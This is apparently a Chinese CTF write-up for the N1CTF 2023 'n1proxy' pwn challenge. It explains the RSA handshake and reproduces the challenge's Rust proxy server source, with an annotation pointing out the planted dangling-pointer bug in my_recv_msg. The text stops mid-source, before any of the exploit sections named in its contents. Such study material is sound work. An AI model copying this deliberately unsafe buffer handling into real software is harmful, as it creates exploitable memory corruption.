2023 N1CTF-n1proxy

news2024/11/15 11:42:57

文章目录

  • 参考
  • rsa
  • 握手
  • rust_proxy源码
  • 公匙交换和签名
  • 会话钥匙
  • 后续通信
  • 生命周期和裸指针
  • 代码审计
  • 漏洞点 libc-2.27.so
  • 大致思路(exp还有变化)
  • 调试
  • exp
    • 泄露libc
    • 写free_hook
    • 执行命令
    • exp

参考

https://github.com/Nu1LCTF/n1ctf-2023/tree/main/pwn/n1proxy
https://eqqie.cn/index.php/tag/Rust-Pwn
https://github.com/importcjj/rust-miniproxy/blob/master/docs/SOCKS5%E5%8D%8F%E8%AE%AE.md

rsa

在RSA密钥对中,通常有两个部分:公钥和私钥。公钥可以安全地分发给任何人,用于加密数据或验证签名。私钥则必须保密,用于解密数据或生成签名。在某些情况下,你可能有一个只包含公钥的密钥对象,或者同时包含公钥和私钥的密钥对象。

握手

公钥对签名进行解码的过程实际上是数字签名验证的过程,它依赖于公钥加密算法的数学原理。以下是为什么使用公钥对签名进行解码会与哈希算法处理的结果匹配的原因:

  1. 数字签名的生成:

    • 当客户端生成数字签名时,它首先使用一个安全的哈希函数(如SHA-256)对数据(例如公钥本身或其哈希值)生成一个哈希值。这个哈希值是原始数据的摘要,任何微小的变化都会导致哈希值发生显著变化。
  2. 使用私钥加密哈希值:

    • 接下来,客户端使用自己的私钥对这个哈希值进行加密,生成数字签名。在RSA算法中,这个过程实际上是将哈希值提升到模数的指数次幂然后对模数取模。
  3. 发送数据和签名:

    • 客户端将原始数据(公钥)和数字签名一起发送给服务器。
  4. 验证数字签名:

    • 服务器接收到数据和签名后,首先对相同的数据使用相同的哈希算法生成哈希值。
    • 然后,服务器使用客户端的公钥尝试对签名进行“解密”。在RSA中,这意味着将签名值进行模数的逆操作(即指数的模数逆次幂)。
  5. 匹配过程:

    • 如果签名是有效的,使用公钥解密得到的值应该与服务器自己计算的哈希值相同。这是因为私钥加密和公钥解密是互逆的操作,它们共享相同的模数(在RSA中是公钥和私钥的共同部分)。

rust_proxy源码

use aes::cipher::block_padding::Pkcs7;
use aes::cipher::generic_array::GenericArray;
use aes::cipher::typenum::U16;
use aes::cipher::typenum::U32;
use aes::cipher::BlockDecryptMut;
use aes::cipher::BlockEncryptMut;
use aes::cipher::KeyIvInit;
use aes::Aes256;
use anyhow::anyhow;
use anyhow::Result;
use cbc::Decryptor;
use cbc::Encryptor;
use lazy_static::lazy_static;
use libc::c_char;
use libc::c_int;
use libc::c_void;
use libc::in_addr_t;
use libc::iovec;
use libc::mallopt;
use libc::memcmp;
use libc::msghdr;
use libc::read;
use libc::recvfrom;
use libc::recvmsg;
use libc::sendmsg;
use libc::sendto;
use libc::size_t;
use libc::sockaddr_in;
use libc::sockaddr_un;
use libc::socket;
use libc::ssize_t;
use libc::write;
use libc::AF_INET;
use libc::AF_UNIX;
use libc::MSG_CONFIRM;
use libc::MSG_WAITALL;
use libc::SOCK_DGRAM;
use libc::SOCK_STREAM;
use rand::thread_rng;
use rand::Rng;
use rsa::pkcs1v15;
use rsa::signature::SignatureEncoding;
use rsa::signature::Signer;
use rsa::signature::Verifier;
use rsa::traits::PublicKeyParts;
use rsa::Pkcs1v15Encrypt;
use rsa::RsaPrivateKey;
use rsa::RsaPublicKey;
use sha2::Digest;
use sha2::Sha256;
use std::collections::HashMap;
use std::collections::HashSet;
use std::env;
use std::fs;
use std::mem;
use std::path::Path;
use std::process::exit;
use std::slice;
use std::sync::Arc;
use std::thread;

type Aes256CbcEnc = Encryptor<Aes256>;
type Aes256CbcDec = Decryptor<Aes256>;

const HELLO_MSG: &str = "n1proxy server v0.1";
const CLIENT_HELLO: &str = "n1proxy client v0.1";

const KEY_BITS: usize = 4096;
const MAX_STREAM: usize = 30;
const TOTAL_STREAM: usize = MAX_STREAM;

#[derive(Debug, Clone)]
struct SessionKey {
    key: Vec<u8>,
    iv: Vec<u8>,
}

impl SessionKey {
    pub fn to_bytes(&self) -> Vec<u8> {
        let mut res = self.key.clone();
        res.extend(self.iv.clone());
        res
    }
}

lazy_static! {
    static ref PRIV_KEY: Arc<RsaPrivateKey> = Arc::new({
        let mut rng = rand::thread_rng();
        RsaPrivateKey::new(&mut rng, KEY_BITS).expect("failed to generate a key")
    });
    static ref CLIENT_KEY: parking_lot::Mutex<HashMap<RsaPublicKey, SessionKey>> =
        parking_lot::Mutex::new(HashMap::new());
    static ref CLIENT_STREAM: parking_lot::Mutex<HashMap<RsaPublicKey, HashSet<i32>>> =
        parking_lot::Mutex::new(HashMap::new());
}

#[allow(dead_code)]
#[derive(Debug)]
enum ConnType {
    New = 0,
    Restore = 1,
    Renew = 2,
    Restart = 114514,
    Unknown = 3,
}

impl ConnType {
    pub fn from_le_bytes(data: &[u8]) -> ConnType {
        let data = u32::from_le_bytes(match data.try_into() {
            Ok(data) => data,
            Err(_) => return ConnType::Unknown,
        });
        match data {
            0 => ConnType::New,
            1 => ConnType::Restore,
            2 => ConnType::Renew,
            _ => ConnType::Unknown,
        }
    }
}
#[derive(Debug)]
enum ProxyType {
    Tcp = 0,
    Udp = 1,
    Sock = 2,
    Unknown = 3,
}
#[derive(Debug)]
enum ProxyStatus {
    Send = 0,
    Recv = 1,
    Conn = 2,
    Close = 3,
    Listen = 4,
    Unknown = 5,
}

impl ProxyType {
    pub fn from_le_bytes(data: &[u8]) -> ProxyType {
        let data = u32::from_le_bytes(match data.try_into() {
            Ok(data) => data,
            Err(_) => return ProxyType::Unknown,
        });
        match data {
            0 => ProxyType::Tcp,
            1 => ProxyType::Udp,
            2 => ProxyType::Sock,
            _ => ProxyType::Unknown,
        }
    }
}

impl ProxyStatus {
    pub fn from_le_bytes(data: &[u8]) -> ProxyStatus {
        let data = u32::from_le_bytes(match data.try_into() {
            Ok(data) => data,
            Err(_) => return ProxyStatus::Unknown,
        });
        match data {
            0 => ProxyStatus::Send,
            1 => ProxyStatus::Recv,
            2 => ProxyStatus::Conn,
            3 => ProxyStatus::Close,
            4 => ProxyStatus::Listen,
            _ => ProxyStatus::Unknown,
        }
    }
}

macro_rules! os_error {
    () => {
        Err(std::io::Error::last_os_error().into())
    };
}

extern "C" {
    fn inet_addr(__cp: *const c_char) -> in_addr_t;
}

#[inline(always)]
fn my_write(fd: c_int, buf: *const c_void, count: size_t) -> Result<ssize_t> {
    let res = unsafe { write(fd, buf, count) };
    if res < 0 {
        Err(anyhow!("Failed to write to socket"))
    } else {
        Ok(res)
    }
}

#[inline(always)]
fn my_read(fd: c_int, buf: *mut c_void, count: size_t) -> Result<ssize_t> {
    let res = unsafe { read(fd, buf, count) };
    if res < 0 {
        Err(anyhow!("Failed to read from socket"))
    } else {
        Ok(res)
    }
}

fn my_connect(target_ip: &str, target_port: u16) -> Result<i32> {
    let target_fd = unsafe { libc::socket(AF_INET, SOCK_STREAM, 0) };
    let target_ip = target_ip.to_owned() + "\0";

    let mut target: sockaddr_in = unsafe { mem::zeroed() };

    target.sin_family = libc::AF_INET as u16;

    target.sin_addr.s_addr = unsafe { inet_addr(target_ip.as_ptr() as *const _) };
    target.sin_port = target_port.to_be();

    let res = unsafe {
        libc::connect(
            target_fd,
            &target as *const _ as *const _,
            mem::size_of_val(&target) as u32,
        )
    };

    if res < 0 {
        return os_error!();
    }

    Ok(target_fd)
}

// record fd and target addr
lazy_static! {
    static ref UDP_TARGET: parking_lot::Mutex<HashMap<i32, sockaddr_in>> =
        parking_lot::Mutex::new(HashMap::new());
}

#[inline(always)]
fn my_new_udp_connect(target_ip: &str, target_port: u16) -> Result<i32> {
    let sockfd = unsafe { socket(AF_INET, SOCK_DGRAM, 0) };
    if sockfd <= 0 {
        return os_error!();
    }

    let mut server_addr: sockaddr_in = unsafe { mem::zeroed() };

    let target_ip = target_ip.to_owned() + "\0";
    server_addr.sin_family = AF_INET as u16;
    server_addr.sin_addr.s_addr = unsafe { inet_addr(target_ip.as_ptr() as *const _) };
    server_addr.sin_port = target_port.to_be();

    let res = unsafe {
        libc::connect(
            sockfd,
            &server_addr as *const _ as *const _,
            mem::size_of_val(&server_addr) as u32,
        )
    };

    if res < 0 {
        return os_error!();
    }

    UDP_TARGET.lock().insert(sockfd, server_addr);

    Ok(sockfd)
}

#[inline(always)]
fn my_sendto(fd: i32, msg: &[u8]) -> Result<isize> {
    let target = *UDP_TARGET
        .lock()
        .get(&fd)
        .ok_or_else(|| anyhow!("Invalid fd"))?;

    let res = unsafe {
        sendto(
            fd,
            msg.as_ptr() as *const _ as *const _,
            msg.len(),
            MSG_CONFIRM,
            &target as *const _ as *const _,
            mem::size_of_val(&target) as u32,
        )
    };

    if res < 0 {
        return os_error!();
    }

    Ok(res)
}

#[inline(always)]
fn my_recvfrom(fd: i32, recv_size: usize) -> Result<Vec<u8>> {
    let mut target = *UDP_TARGET
        .lock()
        .get(&fd)
        .ok_or_else(|| anyhow!("Invalid fd"))?;

    let mut res_msg = vec![0u8; recv_size];
    let mut addr_len = mem::size_of_val(&target) as u32;

    let recv_size = unsafe {
        recvfrom(
            fd,
            res_msg.as_mut_ptr() as *mut _,
            recv_size,
            MSG_WAITALL,
            &mut target as *mut _ as *mut _,
            &mut addr_len,
        )
    };
    if recv_size < 0 {
        return os_error!();
    }

    Ok(res_msg.to_vec())
}

const SOCKET_DIR: &str = "/tmp/n1proxy";

lazy_static! {
    static ref LISTEN_SOCK: parking_lot::Mutex<HashMap<String, (i32, Vec<i32>)>> =
        parking_lot::Mutex::new(HashMap::new());
}

fn hash_filename(path: &str, target_port: u16) -> String {
    Sha256::digest(format!("{}-{}", path, target_port))
        .iter()
        .map(|b| format!("{:02x}", b))
        .collect::<Vec<_>>()
        .join("")
}
#[inline(always)]
fn new_unix_socket_listen(path: &str, target_port: u16) -> Result<i32> {
    let socket_path = Path::new(SOCKET_DIR);
    if !socket_path.exists() {
        fs::create_dir_all(socket_path).expect("Failed to create socket dir");
    }

    let real_path = socket_path.join(hash_filename(path, target_port));

    println!("Socket path {:?}", real_path);

    let (sockfd, _) = LISTEN_SOCK
        .lock()
        .get(&real_path.as_os_str().to_string_lossy().to_string())
        .map(|f| {
            println!("cached fd");
            Ok(f.to_owned())
        })
        .unwrap_or_else(|| {
            println!("create new unix socket");
            let sockfd = unsafe { socket(AF_UNIX, SOCK_STREAM, 0) };
            if sockfd <= 0 {
                return os_error!();
            }
            let mut sock: sockaddr_un = unsafe { mem::zeroed() };

            sock.sun_family = AF_UNIX as u16;
            let path: String = real_path.as_os_str().to_string_lossy().to_string() + "\0";
            if path.len() > sock.sun_path.len() {
                return Err(anyhow!("Socket path too long"));
            }
            unsafe {
                libc::strcpy(sock.sun_path.as_mut_ptr(), path.as_ptr() as *const _);
            }
            let res = unsafe { //绑定套接字和套接字文件地址结构
                libc::bind(
                    sockfd,
                    &sock as *const _ as *const _,
                    mem::size_of_val(&sock) as u32,
                )
            };

            if res < 0 {
                unsafe {
                    libc::close(sockfd);
                }
                println!("Failed to bind socket");
                return os_error!();
            }

            let res = unsafe { libc::listen(sockfd, 100) };
            if res < 0 {
                unsafe {
                    libc::close(sockfd);
                }
                println!("Failed listen socket");
                return os_error!();
            }
            Ok((sockfd, vec![]))
        })?;

    let client_fd = unsafe { libc::accept(sockfd, std::ptr::null_mut(), std::ptr::null_mut()) };
    if client_fd < 0 {
        unsafe {
            libc::close(sockfd);
        }
        return os_error!();
    }

    LISTEN_SOCK
        .lock()
        .entry(real_path.as_os_str().to_string_lossy().to_string())
        .or_insert((sockfd, vec![]))
        .1
        .append(&mut vec![client_fd]);
        // 键为real_path,值为一个元组,
        // 包含两个元素:sockfd(Unix域套接字的监听文件描述符)和一个空向量vec![](用于存储从监听套接字上接受到的客户端连接的文件描述符)。
        // .1表示访问元组的第二个元素,即存储客户端连接文件描述符的向量。append方法将包含client_fd的新向量追加到现有的客户端连接列表中
    Ok(client_fd)
}

#[inline(always)]
fn new_unix_socket_connect(path: &str, target_port: u16) -> Result<i32> { //连接之前的在服务器开启listen的监听套接字,返回服务端套接字
    let sockfd = unsafe { socket(AF_UNIX, SOCK_STREAM, 0) };
    if sockfd <= 0 {
        return os_error!();
    }

    let mut sock: sockaddr_un = unsafe { mem::zeroed() };

    sock.sun_family = AF_UNIX as u16;
    let path = Path::new(SOCKET_DIR)
        .join(hash_filename(path, target_port))
        .to_string_lossy()
        .to_string()
        + "\0";

    println!("connect socket path {:?}", path);

    if path.len() > sock.sun_path.len() {
        return Err(anyhow!("Socket path too long"));
    }
    unsafe {
        libc::strcpy(sock.sun_path.as_mut_ptr(), path.as_ptr() as *const _);
    }

    let res = unsafe {
        libc::connect(
            sockfd,
            &sock as *const _ as *const _,
            mem::size_of_val(&sock) as u32,
        )
    };
//  connect 是一个系统调用函数,用于建立与指定套接字地址的连接。在 Unix 系统中,它的函数原型如下:
// int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
// sockfd是要连接的套接字文件描述符。
// addr是指向 sockaddr 结构体的指针,它包含了要连接的目标地址信息。对于 Unix 域套接字,这个结构体是 sockaddr_un。
// addrlen是 sockaddr 结构体的长度(以字节为单位)。

    if res < 0 {
        unsafe {
            libc::close(sockfd);
        }
        return os_error!();
    }

    Ok(sockfd) //返回目标套接字
}

#[inline(always)]
fn my_send_msg(fd: i32, msg: &[u8]) -> Result<isize> {
    let mut iov = vec![iovec {
        iov_base: msg.as_ptr() as *mut _,  
        iov_len: msg.len(),
    }];
    let m = msghdr {
        msg_name: std::ptr::null_mut(),
        msg_namelen: 0,
        msg_iov: iov.as_mut_ptr(),
        msg_iovlen: iov.len(),
        msg_control: std::ptr::null_mut(),
        msg_controllen: 0,
        msg_flags: 0,
    };
    let send_res = unsafe { sendmsg(fd, &m, 0) }; //发送 msghdr 结构中 msg_iov 字段指向的数据

    if send_res < 0 {
        return os_error!();
    }
    Ok(send_res)
}

#[inline(always)]
fn my_recv_msg(fd: i32, recv_size: usize) -> Result<Vec<u8>> {
    let mut recv_iov = [iovec {
        iov_base: vec![0u8; recv_size].as_mut_ptr() as *mut _,  //生命周期问题导致存在悬挂指针
        iov_len: recv_size,
    }];
    let mut msg = msghdr {
        msg_name: std::ptr::null_mut(),
        msg_namelen: 0,
        msg_iov: recv_iov.as_mut_ptr(),
        msg_iovlen: 1,
        msg_control: std::ptr::null_mut(),
        msg_controllen: 0,
        msg_flags: 0,
    };
    let recv_sz = unsafe { recvmsg(fd, &mut msg, 0) }; // 存到recv_iov[0].iov_base 
    if recv_sz < 0 {
        return os_error!();
    }

    let res = unsafe { slice::from_raw_parts(recv_iov[0].iov_base as *const u8, recv_size) };
    Ok(res.to_vec()) 
}

#[inline(always)]
fn now_timestamp() -> u64 {
    let now = std::time::SystemTime::now();
    now.duration_since(std::time::UNIX_EPOCH)
        .expect("Time went backwards")
        .as_secs()
}

fn session_dec(keys: SessionKey, msg: &[u8]) -> Result<Vec<u8>> {
    if msg.len() % 16 != 0 {
        return Err(anyhow!("Invalid message length"));
    }

    let key = GenericArray::<_, U32>::from_slice(
        keys.key
            .get(0..32)
            .ok_or_else(|| anyhow!("Invalid key length {}", keys.key.len()))?,
    );
    let iv = GenericArray::<_, U16>::from_slice(
        keys.iv
            .get(0..16)
            .ok_or_else(|| anyhow!("Invalid iv length {}", keys.iv.len()))?,
    );
    let mut msg = msg.to_vec();

    let dec = match Aes256CbcDec::new(key, iv).decrypt_padded_mut::<Pkcs7>(&mut msg) {
        Ok(dec) => dec,
        Err(err) => return Err(anyhow!("Failed to decrypt message {}", err)),
    };

    Ok(dec.to_vec())
}

fn session_enc(keys: SessionKey, msg: &[u8]) -> Result<Vec<u8>> {
    let key = GenericArray::<_, U32>::from_slice(
        keys.key
            .get(0..32)
            .ok_or_else(|| anyhow!("Invalid key length {}", keys.key.len()))?,
    );
    let iv = GenericArray::<_, U16>::from_slice(
        keys.iv
            .get(0..16)
            .ok_or_else(|| anyhow!("Invalid iv length {}", keys.iv.len()))?,
    );
    let mut msg = msg.to_vec();
    let msg_len = msg.len();
    let padding_len = (16 - (msg_len % 16)) % 16;
    msg.extend(vec![padding_len as u8; padding_len]);

    let enc = match Aes256CbcEnc::new(key, iv).encrypt_padded_mut::<Pkcs7>(&mut msg, msg_len) {
        Ok(enc) => enc,
        Err(err) => return Err(anyhow!("Failed to encrypt message {}", err)),
    };

    Ok(enc.to_vec())
}

fn handle_client(stream_fd: i32) -> Result<()> {
    my_write(
        stream_fd,
        HELLO_MSG.as_ptr() as *const c_void,
        HELLO_MSG.len() as size_t,
    )?;

    let mut client_hello = [0; CLIENT_HELLO.len()];

    my_read(
        stream_fd,
        client_hello.as_mut_ptr() as *mut c_void,
        client_hello.len() as size_t,
    )?;

    let res = unsafe {
        memcmp(
            client_hello.as_ptr() as *const c_void,
            CLIENT_HELLO.as_ptr() as *const c_void,
            CLIENT_HELLO.len() as size_t,
        )
    };

    if res != 0 {
        return Err(anyhow!("Invalid client hello"));
    }

    println!("Client connected");

    let mut conn_type = vec![0; 4];
    my_read(
        stream_fd,
        conn_type.as_mut_ptr() as *mut c_void,
        conn_type.len() as size_t,
    )?;

    let conn_type = ConnType::from_le_bytes(&conn_type);

    println!("Connection type {:?}", conn_type);

    let pri_key = PRIV_KEY.as_ref().clone();
    let pub_key = RsaPublicKey::from(&pri_key);

    let pub_key_n = pub_key.n().to_bytes_be();
    let pub_key_e = pub_key.e().to_bytes_be();

    let key_exchange = vec![
        pub_key_n.len().to_le_bytes().to_vec(),
        pub_key_e.len().to_le_bytes().to_vec(),
        pub_key_n,
        pub_key_e,
    ]
    .concat();

    let signing_key = pkcs1v15::SigningKey::<Sha256>::new(pri_key.clone());

    let key_exchange_sign = signing_key.sign(&key_exchange).to_bytes();

    let key_exchange_sign = vec![
        key_exchange_sign.len().to_le_bytes().to_vec(),
        key_exchange_sign.to_vec(),
    ]
    .concat();

    println!("Sending key exchange");

    my_write(
        stream_fd,
        key_exchange_sign.as_ptr() as *const c_void,
        key_exchange_sign.len() as size_t,
    )?;

    my_write(
        stream_fd,
        key_exchange.as_ptr() as *const c_void,
        key_exchange.len() as size_t,
    )?;

    let mut client_msg_len = [0; 8];

    my_read(
        stream_fd,
        client_msg_len.as_mut_ptr() as *mut c_void,
        client_msg_len.len() as size_t,
    )?;

    let client_verify_len = u64::from_le_bytes(client_msg_len) as usize;

    println!("Client verify len {}", client_verify_len);

    let mut client_verify = vec![0; client_verify_len];

    my_read(
        stream_fd,
        client_verify.as_mut_ptr() as *mut c_void,
        client_verify.len() as size_t,
    )?;

    my_read(
        stream_fd,
        client_msg_len.as_mut_ptr() as *mut c_void,
        client_msg_len.len() as size_t,
    )?;

    let client_key_len = u64::from_le_bytes(client_msg_len) as usize;
    let mut client_key_n = vec![0; client_key_len];

    println!("Client key n len {}", client_key_len);

    my_read(
        stream_fd,
        client_key_n.as_mut_ptr() as *mut c_void,
        client_key_n.len() as size_t,
    )?;

    my_read(
        stream_fd,
        client_msg_len.as_mut_ptr() as *mut c_void,
        client_msg_len.len() as size_t,
    )?;

    let client_key_len = u64::from_le_bytes(client_msg_len) as usize;

    println!("Client key e len {}", client_key_len);

    let mut client_key_e = vec![0; client_key_len];

    my_read(
        stream_fd,
        client_key_e.as_mut_ptr() as *mut c_void,
        client_key_e.len() as size_t,
    )?;

    let client_key = RsaPublicKey::new(
        rsa::BigUint::from_bytes_be(&client_key_n),
        rsa::BigUint::from_bytes_be(&client_key_e),
    )?;

    let client_verify_key = pkcs1v15::VerifyingKey::<Sha256>::new(client_key.clone());
    let signature = pkcs1v15::Signature::try_from(&*client_verify)?;

    client_verify_key
        .verify(
            &vec![
                client_key_n.len().to_le_bytes().to_vec(),
                client_key_n,
                client_key_e.len().to_le_bytes().to_vec(),
                client_key_e,
            ]
            .concat(),
            &signature,
        )
        .map_err(|_| anyhow!("Invalid client key"))?;

    let session_key = match conn_type {
        ConnType::New | ConnType::Renew => {
            let session_key = SessionKey {
                key: thread_rng().gen::<[u8; 32]>().to_vec(),
                iv: thread_rng().gen::<[u8; 16]>().to_vec(),
            };
            //thread_rng() 函数用于获取线程本地的随机数生成器(ThreadRng)
            //分别生成32字节的密钥和16字节的初始化向量(IV),它们被用于会话中的对称加密。这些值存储在SessionKey结构体中。
            CLIENT_KEY
                .lock()
                .insert(client_key.clone(), session_key.clone());

            println!("gen new key {:?}", session_key);

            let enc_key =
                client_key.encrypt(&mut thread_rng(), Pkcs1v15Encrypt, &session_key.to_bytes())?;
            //客户端的公钥(client_key)和非对称加密算法(在这里是Pkcs1v15Encrypt)来加密session_key
            let enc_time = client_key.encrypt(
                &mut thread_rng(),
                Pkcs1v15Encrypt,
                &now_timestamp().to_le_bytes(),
            )?;

            let new_session = vec![
                enc_key.len().to_le_bytes().to_vec(),
                enc_key,
                enc_time.len().to_le_bytes().to_vec(),
                enc_time,
            ]
            .concat();
            //加密后的会话密钥和时间戳组合
            let new_session_sign = signing_key.sign(&new_session).to_bytes();
            //私钥(signing_key)对整个new_session消息进行签名
            let new_session_sign = vec![
                new_session_sign.len().to_le_bytes().to_vec(),
                new_session_sign.to_vec(),
            ]
            .concat();

            my_write(
                stream_fd,
                new_session_sign.as_ptr() as *const c_void,
                new_session_sign.len() as size_t,
            )?;

            my_write(
                stream_fd,
                new_session.as_ptr() as *const c_void,
                new_session.len() as size_t,
            )?;

            println!("Sending new session finished");

            session_key
        }
        ConnType::Restore => {
            let session_keys = CLIENT_KEY.lock();
            let session_key = session_keys
                .get(&client_key)
                .ok_or_else(|| anyhow!("Invalid client key"))?;
            session_key.clone()
        }
        ConnType::Unknown => {
            return Err(anyhow!("Invalid connection type"));
        }
        ConnType::Restart => {
            exit(0);
        }
    };

    let mut pre_conn = vec![0; 2048];

    let recv_res = my_read(
        stream_fd,
        pre_conn.as_mut_ptr() as *mut c_void,
        pre_conn.len() as size_t,
    )?;
    pre_conn.resize(recv_res as usize, 0);

    let pre_conn = session_dec(session_key.clone(), &pre_conn)?;
    //解密
    if pre_conn.len() < 16 {
        return Err(anyhow!("Invalid pre connection data"));
    }

    let conn_type = ProxyType::from_le_bytes(&pre_conn[0..4]);
    let status = ProxyStatus::from_le_bytes(&pre_conn[4..8]);
    //
    println!("Conn type {:?} status {:?}", conn_type, status);

    let signature = pkcs1v15::Signature::try_from(&pre_conn[8..])?;

    client_verify_key
        .verify(&pre_conn[0..8], &signature)
        .map_err(|_| anyhow!("Invalid client key"))?;

    let ok_msg = vec![0; 4];
    let signing_key = pkcs1v15::SigningKey::<Sha256>::new(pri_key.clone());
    let key_exchange_sign = signing_key.sign(&ok_msg).to_bytes();
    let ok_msg = vec![
        ok_msg,
        key_exchange_sign.len().to_le_bytes().to_vec(),
        key_exchange_sign.to_vec(),
    ]
    .concat();
    let ok_msg = session_enc(session_key.clone(), &ok_msg)?;

    my_write(
        stream_fd,
        ok_msg.as_ptr() as *const c_void,
        ok_msg.len() as size_t,
    )?;

    let res_msg = match status {
        ProxyStatus::Send => {
            let mut conn_data = vec![0; 2048];
            let recv_res = my_read(
                stream_fd,
                conn_data.as_mut_ptr() as *mut c_void,
                conn_data.len() as size_t,
            )?;

            conn_data.resize(recv_res as usize, 0);

            let conn_data = session_dec(session_key.clone(), &conn_data)?;

            if conn_data.len() < 32 {
                return Err(anyhow!("Invalid data"));
            }

            let target_fd = i32::from_le_bytes(conn_data[0..4].try_into()?);

            if CLIENT_STREAM
                .lock()
                .get(&client_key)
                .and_then(|fds| fds.contains(&target_fd).then_some(0))
                .is_none()
            {
                return Err(anyhow!("Invalid fd: {}", target_fd));
            }

            let mut send_data_size = usize::from_le_bytes(conn_data[4..12].try_into()?);

            let mut send_data = vec![];
            let mut remain_data = vec![];

            if send_data_size <= conn_data.len() - 12 {
                send_data.extend(conn_data[12..(12 + send_data_size)].to_vec());
                remain_data = conn_data[(12 + send_data_size)..].to_vec();
                if remain_data.len() < 512 {
                    let mut send_data_part = vec![0; 512];
                    let recv_res = my_read(  //没发送完,分了两次发过来 签名长度一般大于等于512
                        stream_fd,
                        send_data_part.as_mut_ptr() as *mut c_void,
                        send_data_part.len() as size_t,
                    )?;
                    send_data_part.resize(recv_res as usize, 0);
                    let send_data_part = session_dec(session_key.clone(), &send_data_part)?;
                    remain_data.extend(send_data_part);
                }
                send_data_size = 0;
            } else {
                send_data.extend(conn_data[12..].to_vec());
                send_data_size -= conn_data.len() - 12; //还不够数据的长度,下次发送过来还会有数据部分
            }
            if send_data_size > 0 {  //还有数据部分没有发送过来
                // ensure read signature
                let mut send_data_part = vec![0; send_data_size + 0x2000];
                let recv_res = my_read(
                    stream_fd,
                    send_data_part.as_mut_ptr() as *mut c_void,
                    send_data_part.len() as size_t,
                )?; 
                send_data_part.resize(recv_res as usize, 0);
                let send_data_part = session_dec(session_key.clone(), &send_data_part)?;
                send_data.extend(send_data_part[0..send_data_size].to_vec());
                remain_data.extend(send_data_part[send_data_size..].to_vec());
            }

            let signature = pkcs1v15::Signature::try_from(&*remain_data)?;

            client_verify_key
                .verify(
                    &vec![
                        target_fd.to_le_bytes().to_vec(),
                        send_data.len().to_le_bytes().to_vec(),
                        send_data.clone(),
                    ]
                    .concat(),
                    &signature,
                )
                .map_err(|_| anyhow!("Invalid client key"))?;

            println!("Send data to fd {} size {}", target_fd, send_data.len());

            let send_res = match conn_type {
                ProxyType::Tcp => my_write(
                    target_fd,
                    send_data.as_ptr() as *const c_void,
                    send_data.len() as size_t,
                )?,
                ProxyType::Udp => my_sendto(target_fd, &send_data)?,
                ProxyType::Sock => my_send_msg(target_fd, &send_data)?,//服务器将客户端发送过来的数据发送给目标套接字
                ProxyType::Unknown => return Err(anyhow!("Invalid conn type")),
            };
            send_res.to_le_bytes().to_vec()
        }
        ProxyStatus::Recv => {
            let mut conn_data = vec![0; 2048];
            let recv_res = my_read(
                stream_fd,
                conn_data.as_mut_ptr() as *mut c_void,
                conn_data.len() as size_t,
            )?;

            conn_data.resize(recv_res as usize, 0);

            let conn_data = session_dec(session_key.clone(), &conn_data)?;

            if conn_data.len() < 32 {
                return Err(anyhow!("Invalid data"));
            }

            let target_fd = i32::from_le_bytes(conn_data[0..4].try_into()?);

            if CLIENT_STREAM
                .lock()
                .get(&client_key)
                .and_then(|fds| fds.contains(&target_fd).then_some(0))
                .is_none()
            {
                return Err(anyhow!("Invalid fd: {}", target_fd));
            }
            let recv_data_size = u64::from_le_bytes(conn_data[4..12].try_into()?);

            println!("Recv data from fd {} size {}", target_fd, recv_data_size);

            let signature = pkcs1v15::Signature::try_from(&conn_data[12..])?;

            client_verify_key
                .verify(&conn_data[0..12], &signature)
                .map_err(|_| anyhow!("Invalid client key"))?;

            let recv_data = match conn_type { //得到返回数据
                ProxyType::Tcp => {
                    let mut recv_data = vec![0; recv_data_size as usize];

                    let recv_sz = my_read(
                        target_fd,
                        recv_data.as_mut_ptr() as *mut c_void,
                        recv_data.len() as size_t,
                    )?;
                    recv_data.resize(recv_sz as usize, 0);
                    recv_data
                }
                ProxyType::Udp => my_recvfrom(target_fd, recv_data_size as usize)?,
                ProxyType::Sock => my_recv_msg(target_fd, recv_data_size as usize)?,
                ProxyType::Unknown => return Err(anyhow!("Invalid conn type")),
            };

            println!(
                "succ recv data from fd {} size {}",
                target_fd,
                recv_data.len()
            );

            vec![recv_data.len().to_le_bytes().to_vec(), recv_data.to_vec()].concat()  //返回 len+data然后和主函数里签名一起加密发送客户端
        }
        ProxyStatus::Conn => {
            let mut conn_data = vec![0; 2048];
            let recv_res = my_read(
                stream_fd,
                conn_data.as_mut_ptr() as *mut c_void,
                conn_data.len() as size_t,
            )?;
            conn_data.resize(recv_res as usize, 0);

            let conn_data = session_dec(session_key.clone(), &conn_data)?;

            if conn_data.len() < 64 {
                return Err(anyhow!("Invalid pre connection data"));
            }

            let target_host_len = u32::from_le_bytes(conn_data[0..4].try_into()?);
            let target_host =
                String::from_utf8(conn_data[4..(4 + target_host_len) as usize].to_vec())?;

            println!(
                "Target host len {:?}",
                conn_data[4..(4 + target_host_len) as usize].to_vec()
            );

            let mut next_index = 4 + target_host_len as usize;

            let target_port =
                u16::from_le_bytes(conn_data[next_index..(next_index + 2)].try_into()?);
            next_index += 2;

            println!(
                "Target host {} {} port {}",
                target_host_len, target_host, target_port
            );

            let signature = pkcs1v15::Signature::try_from(&conn_data[next_index..])?;

            client_verify_key
                .verify(&conn_data[0..next_index], &signature)
                .map_err(|_| anyhow!("Invalid client key"))?;

            let conn_fd = match conn_type {
                ProxyType::Tcp => my_connect(&target_host, target_port)?,
                ProxyType::Udp => my_new_udp_connect(&target_host, target_port)?,
                ProxyType::Sock => new_unix_socket_connect(&target_host, target_port)?,
                ProxyType::Unknown => return Err(anyhow!("Invalid conn type")),
            };

            let mut lock = CLIENT_STREAM.lock();
            let total_stream_count = lock.values().map(|fds| fds.len()).sum::<usize>();

            if total_stream_count >= TOTAL_STREAM {
                unsafe {
                    libc::close(conn_fd);
                }
                return Err(anyhow!("Too many streams"));
            }

            let client_streams = lock.entry(client_key).or_insert_with(HashSet::new);

            if client_streams.len() >= MAX_STREAM {
                unsafe {
                    libc::close(conn_fd);
                }
                return Err(anyhow!("Too many streams"));
            }

            client_streams.insert(conn_fd);
            println!("New conn fd {}", conn_fd);
            conn_fd.to_le_bytes().to_vec()
        }
        ProxyStatus::Close => {
            let mut conn_data = vec![0; 2048];
            let recv_res = my_read(
                stream_fd,
                conn_data.as_mut_ptr() as *mut c_void,
                conn_data.len() as size_t,
            )?;
            conn_data.resize(recv_res as usize, 0);

            let conn_data = session_dec(session_key.clone(), &conn_data)?;

            if conn_data.len() < 32 {
                return Err(anyhow!("Invalid pre connection data"));
            }

            let target_fd = i32::from_le_bytes(conn_data[0..4].try_into()?);

            let signature = pkcs1v15::Signature::try_from(&conn_data[4..])?;

            client_verify_key
